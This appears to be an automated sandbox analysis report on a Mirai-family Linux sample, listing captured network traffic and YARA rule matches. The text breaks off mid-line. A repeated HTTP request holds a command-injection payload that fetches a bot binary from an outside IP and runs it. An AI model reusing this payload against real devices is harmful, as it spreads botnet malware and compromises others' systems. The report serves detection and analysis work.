Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+104.244.72.234/Fourloko/Fourloko.arm6;chmod+777+/tmp/Fourloko.arm6;sh+/tmp/Fourloko.arm6+Jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+104.244.72.234/Fourloko/Fourloko.arm6;chmod+777+/tmp/Fourloko.arm6;sh+/tmp/Fourloko.arm6+Jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+104.244.72.234/Fourloko/Fourloko.arm6;chmod+777+/tmp/Fourloko.arm6;sh+/tmp/Fourloko.arm6+Jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+104.244.72.234/Fourloko/Fourloko.arm6;chmod+777+/tmp/Fourloko.arm6;sh+/tmp/Fourloko.arm6+Jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+104.244.72.234/Fourloko/Fourloko.arm6;chmod+777+/tmp/Fourloko.arm6;sh+/tmp/Fourloko.arm6+Jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+104.244.72.234/Fourloko/Fourloko.arm6;chmod+777+/tmp/Fourloko.arm6;sh+/tmp/Fourloko.arm6+Jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+104.244.72.234/Fourloko/Fourloko.arm6;chmod+777+/tmp/Fourloko.arm6;sh+/tmp/Fourloko.arm6+Jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+104.244.72.234/Fourloko/Fourloko.arm6;chmod+777+/tmp/Fourloko.arm6;sh+/tmp/Fourloko.arm6+Jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+104.244.72.234/Fourloko/Fourloko.arm6;chmod+777+/tmp/Fourloko.arm6;sh+/tmp/Fourloko.arm6+Jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+104.244.72.234/Fourloko/Fourloko.arm6;chmod+777+/tmp/Fourloko.arm6;sh+/tmp/Fourloko.arm6+Jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+104.244.72.234/Fourloko/Fourloko.arm6;chmod+777+/tmp/Fourloko.arm6;sh+/tmp/Fourloko.arm6+Jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+104.244.72.234/Fourloko/Fourloko.arm6;chmod+777+/tmp/Fourloko.arm6;sh+/tmp/Fourloko.arm6+Jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+104.244.72.234/Fourloko/Fourloko.arm6;chmod+777+/tmp/Fourloko.arm6;sh+/tmp/Fourloko.arm6+Jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+104.244.72.234/Fourloko/Fourloko.arm6;chmod+777+/tmp/Fourloko.arm6;sh+/tmp/Fourloko.arm6+Jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+104.244.72.234/Fourloko/Fourloko.arm6;chmod+777+/tmp/Fourloko.arm6;sh+/tmp/Fourloko.arm6+Jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+104.244.72.234/Fourloko/Fourloko.arm6;chmod+777+/tmp/Fourloko.arm6;sh+/tmp/Fourloko.arm6+Jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+104.244.72.234/Fourloko/Fourloko.arm6;chmod+777+/tmp/Fourloko.arm6;sh+/tmp/Fourloko.arm6+Jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+104.244.72.234/Fourloko/Fourloko.arm6;chmod+777+/tmp/Fourloko.arm6;sh+/tmp/Fourloko.arm6+Jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+104.244.72.234/Fourloko/Fourloko.arm6;chmod+777+/tmp/Fourloko.arm6;sh+/tmp/Fourloko.arm6+Jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+104.244.72.234/Fourloko/Fourloko.arm6;chmod+777+/tmp/Fourloko.arm6;sh+/tmp/Fourloko.arm6+Jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+104.244.72.234/Fourloko/Fourloko.arm6;chmod+777+/tmp/Fourloko.arm6;sh+/tmp/Fourloko.arm6+Jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+104.244.72.234/Fourloko/Fourloko.arm6;chmod+777+/tmp/Fourloko.arm6;sh+/tmp/Fourloko.arm6+Jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+104.244.72.234/Fourloko/Fourloko.arm6;chmod+777+/tmp/Fourloko.arm6;sh+/tmp/Fourloko.arm6+Jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+104.244.72.234/Fourloko/Fourloko.arm6;chmod+777+/tmp/Fourloko.arm6;sh+/tmp/Fourloko.arm6+Jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+104.244.72.234/Fourloko/Fourloko.arm6;chmod+777+/tmp/Fourloko.arm6;sh+/tmp/Fourloko.arm6+Jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+104.244.72.234/Fourloko/Fourloko.arm6;chmod+777+/tmp/Fourloko.arm6;sh+/tmp/Fourloko.arm6+Jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+104.244.72.234/Fourloko/Fourloko.arm6;chmod+777+/tmp/Fourloko.arm6;sh+/tmp/Fourloko.arm6+Jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+104.244.72.234/Fourloko/Fourloko.arm6;chmod+777+/tmp/Fourloko.arm6;sh+/tmp/Fourloko.arm6+Jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+104.244.72.234/Fourloko/Fourloko.arm6;chmod+777+/tmp/Fourloko.arm6;sh+/tmp/Fourloko.arm6+Jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+104.244.72.234/Fourloko/Fourloko.arm6;chmod+777+/tmp/Fourloko.arm6;sh+/tmp/Fourloko.arm6+Jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+104.244.72.234/Fourloko/Fourloko.arm6;chmod+777+/tmp/Fourloko.arm6;sh+/tmp/Fourloko.arm6+Jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+104.244.72.234/Fourloko/Fourloko.arm6;chmod+777+/tmp/Fourloko.arm6;sh+/tmp/Fourloko.arm6+Jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+104.244.72.234/Fourloko/Fourloko.arm6;chmod+777+/tmp/Fourloko.arm6;sh+/tmp/Fourloko.arm6+Jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+104.244.72.234/Fourloko/Fourloko.arm6;chmod+777+/tmp/Fourloko.arm6;sh+/tmp/Fourloko.arm6+Jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+104.244.72.234/Fourloko/Fourloko.arm6;chmod+777+/tmp/Fourloko.arm6;sh+/tmp/Fourloko.arm6+Jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+104.244.72.234/Fourloko/Fourloko.arm6;chmod+777+/tmp/Fourloko.arm6;sh+/tmp/Fourloko.arm6+Jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+104.244.72.234/Fourloko/Fourloko.arm6;chmod+777+/tmp/Fourloko.arm6;sh+/tmp/Fourloko.arm6+Jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+104.244.72.234/Fourloko/Fourloko.arm6;chmod+777+/tmp/Fourloko.arm6;sh+/tmp/Fourloko.arm6+Jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+104.244.72.234/Fourloko/Fourloko.arm6;chmod+777+/tmp/Fourloko.arm6;sh+/tmp/Fourloko.arm6+Jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+104.244.72.234/Fourloko/Fourloko.arm6;chmod+777+/tmp/Fourloko.arm6;sh+/tmp/Fourloko.arm6+Jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+104.244.72.234/Fourloko/Fourloko.arm6;chmod+777+/tmp/Fourloko.arm6;sh+/tmp/Fourloko.arm6+Jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+104.244.72.234/Fourloko/Fourloko.arm6;chmod+777+/tmp/Fourloko.arm6;sh+/tmp/Fourloko.arm6+Jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+104.244.72.234/Fourloko/Fourloko.arm6;chmod+777+/tmp/Fourloko.arm6;sh+/tmp/Fourloko.arm6+Jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+104.244.72.234/Fourloko/Fourloko.arm6;chmod+777+/tmp/Fourloko.arm6;sh+/tmp/Fourloko.arm6+Jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+104.244.72.234/Fourloko/Fourloko.arm6;chmod+777+/tmp/Fourloko.arm6;sh+/tmp/Fourloko.arm6+Jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+104.244.72.234/Fourloko/Fourloko.arm6;chmod+777+/tmp/Fourloko.arm6;sh+/tmp/Fourloko.arm6+Jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+104.244.72.234/Fourloko/Fourloko.arm6;chmod+777+/tmp/Fourloko.arm6;sh+/tmp/Fourloko.arm6+Jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+104.244.72.234/Fourloko/Fourloko.arm6;chmod+777+/tmp/Fourloko.arm6;sh+/tmp/Fourloko.arm6+Jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+104.244.72.234/Fourloko/Fourloko.arm6;chmod+777+/tmp/Fourloko.arm6;sh+/tmp/Fourloko.arm6+Jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+104.244.72.234/Fourloko/Fourloko.arm6;chmod+777+/tmp/Fourloko.arm6;sh+/tmp/Fourloko.arm6+Jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+104.244.72.234/Fourloko/Fourloko.arm6;chmod+777+/tmp/Fourloko.arm6;sh+/tmp/Fourloko.arm6+Jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+104.244.72.234/Fourloko/Fourloko.arm6;chmod+777+/tmp/Fourloko.arm6;sh+/tmp/Fourloko.arm6+Jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+104.244.72.234/Fourloko/Fourloko.arm6;chmod+777+/tmp/Fourloko.arm6;sh+/tmp/Fourloko.arm6+Jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+104.244.72.234/Fourloko/Fourloko.arm6;chmod+777+/tmp/Fourloko.arm6;sh+/tmp/Fourloko.arm6+Jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+104.244.72.234/Fourloko/Fourloko.arm6;chmod+777+/tmp/Fourloko.arm6;sh+/tmp/Fourloko.arm6+Jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+104.244.72.234/Fourloko/Fourloko.arm6;chmod+777+/tmp/Fourloko.arm6;sh+/tmp/Fourloko.arm6+Jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+104.244.72.234/Fourloko/Fourloko.arm6;chmod+777+/tmp/Fourloko.arm6;sh+/tmp/Fourloko.arm6+Jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive

System Summary:

Malicious sample detected (through community Yara rule)

Source: 5228.1.000000001a887bdc.00000000b29d1ae9.r-x.sdmp, type: MEMORY	Matched rule: Detects Mirai Botnet Malware Author: Florian Roth
Source: 5223.1.000000001a887bdc.00000000b29d1ae9.r-x.sdmp, type: MEMORY	Matched rule: Detects Mirai Botnet Malware Author: Florian Roth
Source: 5225.1.000000001a887bdc.00000000b29d1ae9.r-x.sdmp, type: MEMORY	Matched rule: Detects Mirai Botnet Malware Author: Florian Roth
Source: 5226.1.000000001a887bdc.00000000b29d1ae9.r-x.sdmp, type: MEMORY	Matched rule: Detects Mirai Botnet Malware Author: Florian Roth
Source: 5227.1.000000001a887bdc.00000000b29d1ae9.r-x.sdmp, type: MEMORY	Matched rule: Detects Mirai Botnet Malware Author: Florian Roth

Sample contains only a LOAD segment without any section mappings

Source: LOAD without section mappings

Program segment: 0x8048000

Yara signature match

Source: 1xtO9V8ku8, type: SAMPLE	Matched rule: SUSP_ELF_LNX_UPX_Compressed_File date = 2018-12-12, author = Florian Roth, description = Detects a suspicious ELF binary with UPX compression, reference = Internal Research, score = 038ff8b2fef16f8ee9d70e6c219c5f380afe1a21761791e8cbda21fa4d09fdb4
Source: 5228.1.000000005e833d9b.000000008327e148.rw-.sdmp, type: MEMORY	Matched rule: SUSP_XORed_Mozilla date = 2019-10-28, author = Florian Roth, description = Detects suspicious XORed keyword - Mozilla/5.0, reference = Internal Research, score =
Source: 5223.1.000000005e833d9b.000000008327e148.rw-.sdmp, type: MEMORY	Matched rule: SUSP_XORed_Mozilla date = 2019-10-28, author = Florian Roth, description = Detects suspicious XORed keyword - Mozilla/5.0, reference = Internal Research, score =
Source: 5225.1.000000005e833d9b.000000006a7ff293.rw-.sdmp, type: MEMORY	Matched rule: SUSP_XORed_Mozilla date = 2019-10-28, author = Florian Roth, description = Detects suspicious XORed keyword - Mozilla/5.0, reference = Internal Research, score =
Source: 5227.1.000000005e833d9b.000000008327e148.rw-.sdmp, type: MEMORY	Matched rule: SUSP_XORed_Mozilla date = 2019-10-28, author = Florian Roth, description = Detects suspicious XORed keyword - Mozilla/5.0, reference = Internal Research, score =
Source: 5226.1.000000005e833d9b.000000006a7ff293.rw-.sdmp, type: MEMORY	Matched rule: SUSP_XORed_Mozilla date = 2019-10-28, author = Florian Roth, description = Detects suspicious XORed keyword - Mozilla/5.0, reference = Internal Research, score =
Source: 5228.1.000000001a887bdc.00000000b29d1ae9.r-x.sdmp, type: MEMORY	Matched rule: SUSP_XORed_Mozilla date = 2019-10-28, author = Florian Roth, description = Detects suspicious XORed keyword - Mozilla/5.0, reference = Internal Research, score =
Source: 5228.1.000000001a887bdc.00000000b29d1ae9.r-x.sdmp, type: MEMORY	Matched rule: Mirai_Botnet_Malware date = 2016-10-04, hash5 = 420bf9215dfb04e5008c5e522eee9946599e2b323b17f17919cd802ebb012175, hash4 = 2efa09c124f277be2199bee58f49fc0ce6c64c0bef30079dfb3d94a6de492a69, hash3 = 20683ff7a5fec1237fc09224af40be029b9548c62c693844624089af568c89d4, hash2 = 05c78c3052b390435e53a87e3d31e9fb17f7c76bb4df2814313bca24735ce81c, hash1 = 05c78c3052b390435e53a87e3d31e9fb17f7c76bb4df2814313bca24735ce81c, author = Florian Roth, description = Detects Mirai Botnet Malware, hash10 = c61bf95146c68bfbbe01d7695337ed0e93ea759f59f651799f07eecdb339f83f, hash11 = d9573c3850e2ae35f371dff977fc3e5282a5e67db8e3274fd7818e8273fd5c89, hash12 = f1100c84abff05e0501e77781160d9815628e7fd2de9e53f5454dbcac7c84ca5, hash9 = bf0471b37dba7939524a30d7d5afc8fcfb8d4a7c9954343196737e72ea4e2dc4, hash8 = 89570ae59462e6472b6769545a999bde8457e47ae0d385caaa3499ab735b8147, hash7 = 70bb0ec35dd9afcfd52ec4e1d920e7045dc51dca0573cd4c753987c9d79405c0, hash6 = 62cdc8b7fffbaf5683a466f6503c03e68a15413a90f6afd5a13ba027631460c6, reference = Internal Research, license = Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE, hash13 = fb713ccf839362bf0fbe01aedd6796f4d74521b133011b408e42c1fd9ab8246b
Source: 5223.1.000000001a887bdc.00000000b29d1ae9.r-x.sdmp, type: MEMORY	Matched rule: SUSP_XORed_Mozilla date = 2019-10-28, author = Florian Roth, description = Detects suspicious XORed keyword - Mozilla/5.0, reference = Internal Research, score =
Source: 5223.1.000000001a887bdc.00000000b29d1ae9.r-x.sdmp, type: MEMORY	Matched rule: Mirai_Botnet_Malware date = 2016-10-04, hash5 = 420bf9215dfb04e5008c5e522eee9946599e2b323b17f17919cd802ebb012175, hash4 = 2efa09c124f277be2199bee58f49fc0ce6c64c0bef30079dfb3d94a6de492a69, hash3 = 20683ff7a5fec1237fc09224af40be029b9548c62c693844624089af568c89d4, hash2 = 05c78c3052b390435e53a87e3d31e9fb17f7c76bb4df2814313bca24735ce81c, hash1 = 05c78c3052b390435e53a87e3d31e9fb17f7c76bb4df2814313bca24735ce81c, author = Florian Roth, description = Detects Mirai Botnet Malware, hash10 = c61bf95146c68bfbbe01d7695337ed0e93ea759f59f651799f07eecdb339f83f, hash11 = d9573c3850e2ae35f371dff977fc3e5282a5e67db8e3274fd7818e8273fd5c89, hash12 = f1100c84abff05e0501e77781160d9815628e7fd2de9e53f5454dbcac7c84ca5, hash9 = bf0471b37dba7939524a30d7d5afc8fcfb8d4a7c9954343196737e72ea4e2dc4, hash8 = 89570ae59462e6472b6769545a999bde8457e47ae0d385caaa3499ab735b8147, hash7 = 70bb0ec35dd9afcfd52ec4e1d920e7045dc51dca0573cd4c753987c9d79405c0, hash6 = 62cdc8b7fffbaf5683a466f6503c03e68a15413a90f6afd5a13ba027631460c6, reference = Internal Research, license = Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE, hash13 = fb713ccf839362bf0fbe01aedd6796f4d74521b133011b408e42c1fd9ab8246b
Source: 5225.1.000000001a887bdc.00000000b29d1ae9.r-x.sdmp, type: MEMORY	Matched rule: SUSP_XORed_Mozilla date = 2019-10-28, author = Florian Roth, description = Detects suspicious XORed keyword - Mozilla/5.0, reference = Internal Research, score =
Source: 5225.1.000000001a887bdc.00000000b29d1ae9.r-x.sdmp, type: MEMORY	Matched rule: Mirai_Botnet_Malware date = 2016-10-04, hash5 = 420bf9215dfb04e5008c5e522eee9946599e2b323b17f17919cd802ebb012175, hash4 = 2efa09c124f277be2199bee58f49fc0ce6c64c0bef30079dfb3d94a6de492a69, hash3 = 20683ff7a5fec1237fc09224af40be029b9548c62c693844624089af568c89d4, hash2 = 05c78c3052b390435e53a87e3d31e9fb17f7c76bb4df2814313bca24735ce81c, hash1 = 05c78c3052b390435e53a87e3d31e9fb17f7c76bb4df2814313bca24735ce81c, author = Florian Roth, description = Detects Mirai Botnet Malware, hash10 = c61bf95146c68bfbbe01d7695337ed0e93ea759f59f651799f07eecdb339f83f, hash11 = d9573c3850e2ae35f371dff977fc3e5282a5e67db8e3274fd7818e8273fd5c89, hash12 = f1100c84abff05e0501e77781160d9815628e7fd2de9e53f5454dbcac7c84ca5, hash9 = bf0471b37dba7939524a30d7d5afc8fcfb8d4a7c9954343196737e72ea4e2dc4, hash8 = 89570ae59462e6472b6769545a999bde8457e47ae0d385caaa3499ab735b8147, hash7 = 70bb0ec35dd9afcfd52ec4e1d920e7045dc51dca0573cd4c753987c9d79405c0, hash6 = 62cdc8b7fffbaf5683a466f6503c03e68a15413a90f6afd5a13ba027631460c6, reference = Internal Research, license = Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE, hash13 = 